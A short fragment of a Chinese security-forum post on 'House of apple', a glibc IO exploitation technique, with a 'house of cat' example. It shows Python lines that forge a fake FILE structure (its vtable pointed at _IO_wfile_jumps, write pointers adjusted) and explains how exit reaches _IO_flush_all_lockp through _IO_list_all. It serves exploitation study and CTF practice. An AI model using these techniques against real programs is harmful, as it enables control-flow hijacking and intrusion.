[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪-安全社区|安全招聘|kanxue.com
例子:house of cat
下面讨论除了需要满足文中的各项要求外还有什么额外要求
# _IO_list_all point to fake iofile
# let __overflow -> __overflow
iofile.vtable = libc.symbols["_IO_wfile_jumps"] - 0x18 + 0x18
# iofile._IO_write_ptr > iofile._IO_write_base
iofile._IO_write_ptr = 1
对于exit或main正常return的方式,exit会去调用 _IO_cleanup
→ _IO_flush_all_lockp
,内部会从 _IO_list_all
指向的iofile结构开始处理